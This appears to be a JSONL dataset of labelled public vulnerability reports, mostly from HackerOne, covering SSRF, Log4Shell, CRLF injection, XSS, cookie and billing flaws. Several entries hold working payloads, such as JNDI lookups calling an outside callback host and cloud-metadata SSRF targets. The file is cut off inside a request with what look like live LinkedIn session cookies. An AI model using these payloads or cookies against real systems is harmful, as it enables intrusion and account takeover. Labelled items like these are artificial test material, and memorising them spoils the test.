+{"id": "2ca5a54b6fd37489a025", "text": "[Server-Side Request Forgery (SSRF)] SSRF via potential filter bypass with too lax local domain checking\n\n## Summary:\nHi.\nReviewing the code for filtering for ssrf, in `preventLocalAddress`, we can see that it calls the function `ThrowIfLocalAddress()`. It has three common checks, first, it checks if the string is `localhost`, or if it ends in `.local` or `.localhost`\n```php\n\t\t// Disallow localhost and local network\n\t\tif ($host === 'localhost' || substr($host, -6) === '.local' || substr($host, -10) === '.localhost') {\n\t\t\t$this->logger->warning(\"Host $host was not connected to because it violates local access rules\");\n\t\t\tthrow new LocalServerException('Host violates local access rules');\n\t\t}\n```\nSecond check, it checks if the provided url is only a host\n```php\n\t\t// Disallow hostname only\n\t\tif (substr_count($host, '.') === 0 && !(bool)filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {\n\t\t\t$this->logger->warning(\"Host $host was not connected to because it violates local access rules\");\n\t\t\tthrow new LocalServerException('Host violates local access rules');\n\t\t}\n```\nLastly, it checks if the user input is an ip, if it is, it checks if it is not in the `FILTER_FLAG_NO_PRIV_RANGE`, or `FILTER_FLAG_NO_RES_RANGE`.\nThese checks lack something tho.  Checks for metadata. Specifically the Alibaba metadata, and google cloud metadata.    \nOther metadata like aws and digital ocean uses 169.254.169.25 which is included in the `FILTER_FLAG_NO_RES_RANGE`. Google cloud metadata tho, can be accessed with http://metadata.google.internal  which is not in any checks from above. And the alibaba metadata can be accessed with `100.100.100.200`, this ip is neither in the `FILTER_FLAG_NO_PRIV_RANGE` or `FILTER_FLAG_NO_RES_RANGE` flags, also bypassing the check. \nThis make it vulnerable to ssrf when the nextcloud host is hosted with either google cloud or alibaba\n\n## Impact\n\nSSRF filter bypass", "source": "hackerone", "timestamp": "2022-09-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "62a0c769ed7fd5377f4b", "text": "[Deserialization of Untrusted Data] [CVE-2021-44228] nps.acronis.com is vulnerable to the recent log4shell 0-day\n\n## Summary\nThe website at nps.acronis.com is vulnerable to CVE-2021-44228\n\n## Steps To Reproduce\nI used this [script](https://github.com/fullhunt/log4j-scan) to find this. It spins up an interact-sh server to receive the callback and send the payload in the query string and about 30 diffent headers. You can reproduce manually with curl and interact-sh/burp collaborator/a server you control. However, since the callback is proof of the vulnerability, the script makes it easier to identify. Let me know if you want me to tell you which specific header fires the payload and I will test them.\n\n  1. Construct the payload: `${jdni:ldap://nps.acronis.com.<your-server>/test}`\n  1. Inject the payload in the Request Headers (User Agent, X-Forwarded-For etc) or use the script from fullscan: `python3 log4j-scan.py -u 'https://marketingportal.engelvoelkers.com'`\n  1. Observe the callback, proving the deserialization of untrusted data which leads to rce\n\n{F1544482}\n \n## Recommendations\nUpdate log4j to the latest [version](https://logging.apache.org/log4j/2.x/download.html)\nIf updating to the latest version is not possible the vulnerability can be mitigated by removing the JndiLookup class from the class path. Additionally, the issue can be mitigated on Log4j versions >=2.10 by setting the system property log4j2.formatMsgNoLookups or the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true.\n\n## Impact\n\nRemote Code Execution (rce)", "source": "hackerone", "timestamp": "2022-07-13", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "ffc1926f83a46b4c1d74", "text": "[CRLF Injection] CVE-2022-35948: CRLF Injection in Nodejs ‘undici’ via Content-Type\n\nundici library should be protects HTTP headers from CRLF injection vulnerabilities. However, CRLF injection exists in the ‘content-type’ header of undici.request api.\n\n## Impact\n\n```=< undici@5.8.0``` users are vulnerable to CRLF Injection on headers when using unsanitized input as request headers, more specifically, inside the content-type header.\n\nExample:\n```import { request } from 'undici'\n\nconst unsanitizedContentTypeInput =  'application/json\\r\\n\\r\\nGET /foo2 HTTP/1.1'\n\nawait request('http://localhost:3000, {\n    method: 'GET',\n    headers: {\n      'content-type': unsanitizedContentTypeInput\n    },\n})\n```\n\nThe above snippet will perform two requests in a single request API call:\n\nhttp://localhost:3000/\nhttp://localhost:3000/foo2\n\nI have submitted the report： https://hackerone.com/reports/1638888\nAdvisories： https://github.com/nodejs/undici/security/advisories/GHSA-f772-66g8-q5h3\nResolved as of https://github.com/nodejs/undici/releases/tag/v5.8.2", "source": "hackerone", "timestamp": "2022-09-23", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "c309b4227baaa027fb5d", "text": "[Information Disclosure] [███████] Information disclosure due unauthenticated access to APIs and system browser functions\n\n**Description:**\nMultiple information exposure vulnerabilites were identified in a Jira Server instance (unauthenticated access to APIs and system browser functions). This report describes a combination of two separate vulnerabilities in two separate services This chain of vulnerabilities allows unauthenticated attacker to run arbitrary code on a server inside the company's internal network. the vulnerable registered as references JRASERVER-73060\n\n\n## References\nhttps://jira.atlassian.com/browse/JRASERVER-73060\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14179\n\n## Impact\n\nUnauthorised access and the data should not be visible.\nProject categories, resolutions, and usernames are listed even if the API is not authenticated\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-14179\n\n## Steps to Reproduce\n1. Navigate visit the target scope is https://█████████/secure/JiraCreditsPage!default.jspa\n 1. And now we found a directory is jira sensitive\n 1. Lets send a curl request to the `?maxResults=1000` endpoint, as shown below. In the request, point the post request to the server address you want to send the request to:\n\nHere's the HTTP Parameter request that the issue:\n```\nGET /rest/menu/latest/admin HTTP/1.1\nHost: ███\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nsec-ch-ua-platform: \"Mac OS\"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\n```\n * https://██████/secure/JiraCreditsPage!default.jspa\n * https://███████/rest/menu/latest/admin?maxResults=1000\n\n## Suggested Mitigation/Remediation Actions\n## Workaround\nAnonymous access to endpoints listed below is restricted starting Jira 9.0. On future Jira 8.x releases and all LTS releases it is possible to restrict anonymous access with feature flags. On Jira 8.x to restrict anonymous access to the endpoint you need to disable feature flag aka provide `<feature.flag>`.disabled On Jira 9.0 you need to enable the same feature flag aka provide `<feature.flag>`.enabled\n\n\n**You can use given feature flags: **\n`/rest/api/2/projectCategory` - (Anonymous access disabled completely) \n`/rest/api/2/resolution` - (Anonymous access blocked only when there is no projects available for anonymous users) \n`/rest/menu/latest/admin` - There is currently no feature flag to disable anonymous access, please check linked ticket in \"duplicates by\" to track this problem.\n\n**Refferences**\nhttps://hackerone.com/reports/994612 \n[JRASERVER-73060](https://jira.atlassian.com/browse/JRASERVER-73060)", "source": "hackerone", "timestamp": "2023-11-03", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "bb95f0e25dac368dd6dd", "text": "OctoberCMS v3.4.0 (About) Stored Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2023-12-03", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "359c47d15a5c97bcbfb1", "text": "Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation\n\nSeverity: high", "source": "zeroscience", "timestamp": "2023-03-28", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "0b7ce8eff15daacc0fd3", "text": "[Unknown] Unrestricted File Upload on reddit.secure.force.com\n\n## Summary:\nReddit.secure.force.com is Reddit SalesForce instance. Attacker is able to send attachments of disallowed filetypes to this server. The attacker is able to send malicious documents such as CVE-2022-30190 Follina to the victim.\n\n## Impact:\nAttacker can send malicious files to whoever handles the form behind https://reddit.secure.force.com/adhelp\n\n## Steps To Reproduce:\n  1. Go to https://reddit.secure.force.com/adhelp \n  2. Notice that the specified allowed filetype is:  jpg jpeg gif png pdf as you can see with the image below: \n\n{F1780944}\n\n  3. If you try dragging and dropping a docx file to that box, there is a Javascript which forbids such action. But if you used the \"Click to browse\" option you can start uploading the file.\n\n{F1780957}\n\n4. The file upload request: \n\n```http\nPOST /adhelp/apexremote HTTP/1.1\nHost: reddit.secure.force.com\n████████\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://reddit.secure.force.com/adhelp/\nX-User-Agent: Visualforce-Remoting\nContent-Type: application/json\nX-Requested-With: XMLHttpRequest\nContent-Length: 15301\nOrigin: https://reddit.secure.force.com\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n\n{\"action\":\"AdvertisingHelpController\",\"method\":\"uploadFile\",\"data\":[\"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", "source": "hackerone", "timestamp": "2022-09-30", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "0e0c4aa8108abc09a485", "text": "[Information Exposure Through Sent Data] CVE-2023-46218: cookie mixed case PSL bypass\n\n## Summary:\nlibcurl fails to normalize the `hostname` and `cookie_domain` parameters passed to `psl_is_cookie_domain_acceptable` function. As a result a malicious site can set a super cookie if the victim requests the url with hostname with any upper case characters in the domain part of the hostname.\n\nlibpsl `psl_is_cookie_domain_acceptable` documentation  https://rockdaboot.github.io/libpsl/libpsl-Public-Suffix-List-functions.html#psl-is-cookie-domain-acceptable says the following:\n```\nUse helper function psl_str_to_utf8lower() for normalization of hostname and cookie_domain .\n```\nThis is not done correctly and hence domains with uppercase characters will bypass the PSL check. Note that curl itself will later ignore the cookie domain capitalization and will match even lowercase hostname with the stored supercookie's mixed case domain.\n\nIt's also worth noting that the request `Host` header will reveal the mixed case used, which will allow the attacker to prepare the correct `Set-Cookie` domain for the attack.\n\n## Steps To Reproduce:\n  1. `echo -ne \"HTTP/1.1 200 OK\\r\\nSet-Cookie: super=oops; domain=co.UK\\r\\nContent-Length: 0\\r\\n\" | nc -v -l -q 1 -p 8888`\n  2. `curl -v -c c.txt --resolve test.co.uk:8888:testserverip http://test.co.UK:8888`\n  3.  `nc -v -l -p 7777`\n  4. `curl -v -b c.txt --resolve other.co.uk:7777:testserverip http://other.co.uk:7777`\n\nNote that the `super` cookie is sent to the `other.com.uk` site. In fact it will be sent to any `.co.uk` hosts now.\n\nThe generated cookie file:\n```\n# Netscape HTTP Cookie File\n# https://curl.se/docs/http-cookies.html\n# This file was generated by libcurl! Edit at your own risk.\n\n.co.UK\tTRUE\t/\tFALSE\t0\tsuper\toops\n```\n\n## Impact\n\nBypassing supercookie protection.", "source": "hackerone", "timestamp": "2023-12-06", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "9aa5f1b6a7da08a77a00", "text": "[Cross-site Scripting (XSS) - Generic] UXss on brave browser via scan QR Code\n\n## Summary:\n\nI found UXss in your browser, and executed Xss on all open domains.\nbefore that I want to tell you a little, that I've found a vulnerability like this in Microsoft Edge :\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-23258\n\nOppo browser : (Private/no disclosure)\n\nand now i found it in your application\n\n## Products affected: \n\n * Android 13, Brave browser version 1.48.164,  Brave Nightly browser version 1.50.53, Brave Beta Browser version 1.49.106, Chromium 110.5481.100\n\n\nPayload : {F2191688}\nThis is a QR Code containing the url : javascript:alert(document.domain);\n\nwhich the attacker will use to attack the victim\n\n\n## Steps To Reproduce:\n- Open Brave browser\n- Open www.google.com\n\n{F2191713}\n- Click the url bar and delete the url (click the cross on the Url Bar)\n\n{F2191709}\n- You will see a Scan QR Code button\n\n{F2191707}\n- Click Scan QR Code button & Scan the QR Code above\n\n{F2191708}\n\n- Xss Executed.\n\n{F2191706}  {F2191705}\n\n\n\n## Supporting Material/References:\n\n{F2191774}\n\n\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-23258\n\n## Impact\n\nAttackers can steal the victim's cookies, and as you can see at this point. that this vulnerability does not only affect brave, but will affect all existing domains/websites. and it is very possible that websites such as facebook.com, google.com, microsoft.com are also affected by this vulnerability\nexample :\nhttps://portswigger.net/daily-swig/microsoft-edge-translator-contained-uxss-flaw-exploitable-on-any-web-page", "source": "hackerone", "timestamp": "2023-04-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "2b3704ee216f3ac62428", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2022-32205: Set-Cookie denial of service\n\nA malicious server can serve excessive amounts of Set-Cookie: headers in a HTTP response to curl and curl stores all of them. A sufficiently large amount of (big) cookies make subsequent HTTP requests to this, or other servers to which the cookies match, create requests that become larger than the threshold that curl uses internally to avoid sending crazy large requests (1048576 bytes) and instead returns an error.\n\nThis denial state might remain for as long as the same cookies are kept, match and haven't expired. Due to cookie matching rules, a server on foo.example.com can set cookies that also would match for bar.example.com, making it it possible for a \"sister server\" to effectively cause a denial of service for a sibling site on the same second level domain using this method.\n\n## Impact\n\nDenial of service", "source": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "4a9d148588885be5fc8a", "text": "[Uncontrolled Resource Consumption] CVE-2022-27781: CERTINFO never-ending busy-loop\n\n## Summary:\nCurl is prone to a DoS attack in case the NSS TLS library is used and the CERTINFO option is enabled. Using maliciously crafted certificates on a server, an attacker can make curl run into an endless loop when connecting to the server. The bug is located in the following code segment (https://github.com/curl/curl/blob/master/lib/vtls/nss.c#L1014):\n\n```\n/* Count certificates in chain. */\nint i = 1;\nnow = PR_Now();\nif(!cert->isRoot) {\n  cert2 = CERT_FindCertIssuer(cert, now, certUsageSSLCA);\n  while(cert2) {\n    i++;\n    if(cert2->isRoot) {\n      CERT_DestroyCertificate(cert2);\n      break;\n    }\n    cert3 = CERT_FindCertIssuer(cert2, now, certUsageSSLCA);\n    CERT_DestroyCertificate(cert2);\n    cert2 = cert3;\n  }\n}\n```\n\nWhen CERTINFO is set, display_conn_info() executes the above shown code, which tries to count the certificates in the chain received from servers via TLS. To this end, display_conn_info() starts with the leaf certificate and attempts to find its issuer certificate in the chain. The issuer certificate then becomes the origin for the next iteration. This step is repeated until there either is no issuer certificate or a root (= self-signed) certificate is found. However, if the received certificate chain contains a loop, this exit condition is never reached and display_conn_info() runs into an endless loop. To craft a loop, it is sufficient to have two CA certificates that mutually list each other as issuers (see attached PoC).\n\n## Steps To Reproduce:\n\nI have implemented a small PoC where a Webserver uses a maliciously crafted certificate chain that contains a loop. To this end, the end-entity certificate for localhost is issued by CA2, whose certificate is issued by CA1, whose certificate in turn is issued by CA2 (-> loop). The Python script for the Webserver and the certificate chain are attached to this report. To trigger the DoS in curl, the following steps need to be executed:\n\n  1. Modify URL in certinfo example (https://github.com/curl/curl/blob/master/docs/examples/certinfo.c#L46) to point to `https://localhost:4443/` instead of `https://www.example.com/` (`url_easy_setopt(curl, CURLOPT_URL, \"https://localhost:4443/\")`)\n  1. Build curl with NSS TLS library (./configure --with-nss) and with examples (make examples)\n  1. Execute python script attached to this report to start the attacker's Webserver\n  1. Execute certinfo (doc/examples/certinfo)\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * https_server.py (poc webserver)\n  * key.pem (poc webserver key)\n  * combined_loop.pem (poc webserver certificate chain)\n\n## Impact\n\nAn attacker who controls a server that a libcurl-using application (with NSS and enabled CERTINFO) connects to, can trigger a DoS. In this case, the application runs into an infinite loop and consumes nearly 100% CPU.\n\nUsing the CVSS calculator, I initially came up with medium severity (5.3). However, because the vulnerabilities relies on CERTINFO being enabled and NSS being used, which is not that popular and will soon be deprecated (https://curl.se/dev/deprecate.html), I eventually estimate the severity to be low.", "source": "hackerone", "timestamp": "2022-05-16", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e4a483df8d8abf420c12", "text": "[HTTP Response Splitting] Apache HTTP Server: mod_proxy_uwsgi HTTP response splitting (CVE-2023-27522)\n\n#Summary\n\nHTTP Response Smuggling vulnerability in Apache HTTP Server via mod_proxy_uwsgi. This issue affects Apache HTTP Server: from 2.4.30 through 2.4.55. Special characters in the origin response header can truncate/split the response forwarded to the client.\n\nhttps://httpd.apache.org/security/vulnerabilities_24.html#CVE-2023-27522\n\n## Impact\n\nThe response headers can be truncated, resulting in some headers being incorporated into the response body. If the later headers have any security purpose, they will not be interpreted by the client.", "source": "hackerone", "timestamp": "2023-03-23", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e32fa66b3239c3be64d7", "text": "[Code Injection] Log4Shell: RCE 0-day exploit on █████████\n\nHi team,\nlog4 shell is recent 0-day exploit it's Java package vulnerable. ██████████ domain is vulnerable\n\n## Impact\n\nRCE\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-44228\n\n## Steps to Reproduce\n1. Go to this url => https://███████/██████=%24%7bjndi%3aldap%3a%2f%2fx%24%7bhostName%7d.LOG45200SSRF.xxxxxx.burpcollaborator.net%2fa%7d\n2. paste the poc code on  ██████ url parameter\n3. like this =>   https://██████████/██████\n4. then burp collaborator received reverse ping back\n5. I attached poc videos and photos below\n\n##POC CODE\n${jndi:ldap://x${hostName}.log4j.xxxxxxx.burpcollaborator.net/a}\n\n## Suggested Mitigation/Remediation Actions\nhttps://www.lunasec.io/docs/blog/log4j-zero-day/", "source": "hackerone", "timestamp": "2022-01-03", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "b1ad28ce06171a33487b", "text": "[Reliance on Cookies without Validation and Integrity Checking in a Security Decision] Ruby CVE-2021-41819: Cookie Prefix Spoofing in CGI::Cookie.parse\n\nRelease note: https://www.ruby-lang.org/en/news/2021/11/24/cookie-prefix-spoofing-in-cgi-cookie-parse-cve-2021-41819/\n\n> The old versions of CGI::Cookie.parse applied URL decoding to cookie names. An attacker could exploit this vulnerability to spoof security prefixes in cookie names, which may be able to trick a vulnerable application.\n\n> By this fix, CGI::Cookie.parse no longer decodes cookie names. Note that this is an incompatibility if cookie names that you are using include non-alphanumeric characters that are URL-encoded.\n\n> This is the same issue of CVE-2020-8184.\n\n---\n\nThe following is copied from hackerone's report. https://hackerone.com/reports/910552\n\nI found the same problem with https://hackerone.com/reports/895727 exists at `CGI::Cookie.parse`.\n\nhttps://github.com/ruby/ruby/blob/v2_7_1/lib/cgi/cookie.rb#L162\n\n```ruby\ndef self.parse(raw_cookie)\n  cookies = Hash.new([])\n  return cookies unless raw_cookie\n\n  raw_cookie.split(/;\\s?/).each do |pairs|\n    name, values = pairs.split('=',2)\n    next unless name and values\n    name = CGI.unescape(name)\n    values ||= \"\"\n    values = values.split('&').collect{|v| CGI.unescape(v,@@accept_charset) }\n    if cookies.has_key?(name)\n      values = cookies[name].value + values\n    end\n    cookies[name] = Cookie.new(name, *values)\n  end\n\n  cookies\nend\n```\n\nThe value of `name` is decoded.\n\n\n#### PoC\n\n```ruby\n❯ ruby -v\nruby 2.7.1p83 (2020-03-31 revision a0c7c23c9c) [x86_64-darwin19]\n\n❯ irb\nirb(main):001:0> require 'cgi'\n=> true\n\nirb(main):002:0> cookie_a = CGI::Cookie.parse(\"__%48ost-evil=evil;__Host-evil=abc\")\nirb(main):003:0> cookie_a[\"__Host-evil\"]\n=> #<CGI::Cookie: \"__Host-evil=evil&abc; path=\">\nirb(main):004:0> cookie_a[\"__Host-evil\"].to_a\n=> [\"evil\", \"abc\"]\n\nirb(main):005:0> cookie_b = CGI::Cookie.parse(\"%48oge=evil;Hoge=abc;Foo=xxx\")\nirb(main):006:0> cookie_b[\"Hoge\"].to_a\n=> [\"evil\", \"abc\"]\nirb(main):007:0> cookie_b[\"Foo\"].to_a\n=> [\"xxx\"]\n```\n\n## Impact\n\nIt has the same impact as #895727, and it is possible to insert a value into the name of a cookie that should be protected by Cookie prefixes.", "source": "hackerone", "timestamp": "2022-02-03", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3f0a61fa5fa521c4d294", "text": "[Improper Input Validation] Add more seats by paying less via PUT /v2/seats request manipulation\n\n## Summary:\nI could not fully test this vulnerability because the test plan must be completed for the payment process, that is, 30 days. But the price value in api also changes and if payment is made according to this value, wrong billing will occur.\n\nThe annual pro option for Team plan billing is $60 per seat. However, if the user enters a decimal number instead of an integer while adding a seat, the number is rounded up, but the price is only multiplied by the integer part. For example it would be like this :\n\n```javascript\nseats = 5\namount = 300\nbady.seats = 1.1\n\nseats += Math.ceil(bady.seats)\n// 5  +=             2\n// seats : 7 \n\namount += Math.floor(bady.seats) * 60\n// 300 +=                 1      * 60\n// amount : 360 \n```\n\n## Steps To Reproduce:\n\n* Register the app and finish the installation. [help document](https://help.krisp.ai/hc/en-us/articles/360017564739-Creating-a-Krisp-personal-account)\n* Create a new team.\n* Go to billing and listen to traffic with burp.\n* Add seat and capture the request with burp.\n* Replace the number of seats with 1.9 \n* You will see that you have added 2 seats but the price has increased by $60.\n\nWe can reduce the price by adding and deleting seats.\n\nPoc video -|\n\n{F1574747}\n\n## Impact\n\nAttacker can manipulate membership price", "source": "hackerone", "timestamp": "2022-06-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "1b89f56a4dc844ae8020", "text": "[Unknown] Rate limit Bypass on contact-us through IP Rotator (burp extension)(https://www.linkedin.com/help/linkedin/solve/contact)\n\nhello Team\ni have found issue on https://www.linkedin.com/help/linkedin/solve/contact , which spam the mail box of victim (through alternative email) and support team.\nSteps \n1. Go to https://www.linkedin.com/help/linkedin/solve/contact\n2. Fill the Form\n3. Fill the victim mail id in alternative email.\n4.Start IP Rotatorr (Burp Extension) for bypass the rate-limit.\n    ( https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874)\n5. Capture the request.\n\nHTTP REQUEST\n\nPOST /help/linkedin/api/ticket/new?page_key=hc_smarter_assist&lipi=urn%3Ali%3Apage%3Ahc_solve%3BHaCrDTZIQGaymuZQSvEoTw%3D%3D HTTP/2\nHost: www.linkedin.com\nCookie: bcookie=\"v=2&c4f317bf-bed0-495f-8496-d1b53544d1c4\"; bscookie=\"v=1&202110081507174a83b87c-0d5d-4b78-8691-e7eb51b819d6AQHmFhjM3oKhpmPl-g67WgT5UkwJSxda\"; li_rm=AQEFn2UeyuLk9wAAAYDcvJnTHb73kYJw6UFmfLlXFBMGZSWGplNujPE6Hh3Wpm1tONATBA15Byos33xXv5lHPUrD9baf3W4G7WlsX-FN2vLE0eRRseNYAP_8tTgZ18CPQ-FdTr3mNwiMyo1P3eARQQma20XvGaJIEF8F79LkaZIYXk-BUp0VhWzMUYamzn-8lIY61pl65qMbgIrwMLtQfKYyM7pQ_z5k9GlPo_bwy2Uy24QnKXRw71ideBf7WuMTPpXpLaBG9LGZM3ZY8oZtvlL_ZZ5-JrbGFVJUELYBjd5LcExjjb18eZzw47QUczhvnGxzzeDg2B0NsIyc-_g; g_state={\"i_l\":3,\"i_p\":1653575596396}; G_ENABLED_IDPS=google; timezone=Asia/Kolkata; li_theme=light; li_theme_set=app; li_mc=MTswOzE2NTMyMDc5MzA7MTswMjEF8QNpG1iJaJfCqv0+88KjLXLqdlvBLjPuxCZuAQOYOg==; li_alerts=e30=; visit=v=1&M; li_gc=MTswOzE2NTI5NzA3ODk7MjswMjFkSg/yf65s1QypezQZsH0W9ajBD2B0DVWIY9G2hIILOw==; JSESSIONID=\"ajax:1140114095873524025\"; UserMatchHistory=AQKj5fR0mR7oJQAAAYDqurzF6lb9b8uswj6Z5l6vZllwjzWMK2a0-LI760kRMfhuXJAqDBgXGgbTOGGkNPmFYG8G0KQgxX45NsoDiOk_XrskWULZok5h3FmANIjbdieFC-Wu7lAykeAaK4iS6eSxL7GsfGmA6Er6S5PgUNQjZ0pnwcDZyPx_CJAX3LAO9YlnUTcscJ6P7SLjXeCv4zxPLIJDdd1kot10ma8qA7khVUNMXqX0sVi3sJ84bi4flAZWB4t5g56qmQ; cap_session_id=4016886046:1; li_er=v=1&r=urn:li:contract:396850646&t=1651318702036&g=MDIxwMB8HbZ4pkHlcKjmNWVgXQU708vn4ctzjdu9DLdCVAs=; u_tz=GMT+05:30; li_at=AQEDATumkO8By_toAAABgN_E99QAAAGBA9F71E4Ap4xA8olRhCz_2fWkh9V9Yg0_YpIU3E8M2YK7TKMxvwV4LlWFinQebObeHNvAJa_iwPamoe9BfcdWl8cjr7WSls0XAMBG9DjMi7Itzt4OkQHpgNzo; liap=true; li_a=AQJ2PTEmY2FwX3NlYXQ9Mjc2Mzg3MDE2JmNhcF9hZG1pbj1mYWxzZSZjYXBfa249Mzk2ODUwNjQ2SCsATU1i0kEIAdqllopHZmTEvrk; lidc=\"b=TB23:s=T:r=T:a=T:p=T:g=3826:u=2:x=1:i=1653195903:t=1653282303:v=2:sig=AQGCZy6T9vR93sKtbfJliGAugit-RF6R\"; lang=v=2&lang=en-US; sdsc=1%3A1SZM1shxDNbLt36wZwCgPgvN58iw%3D; 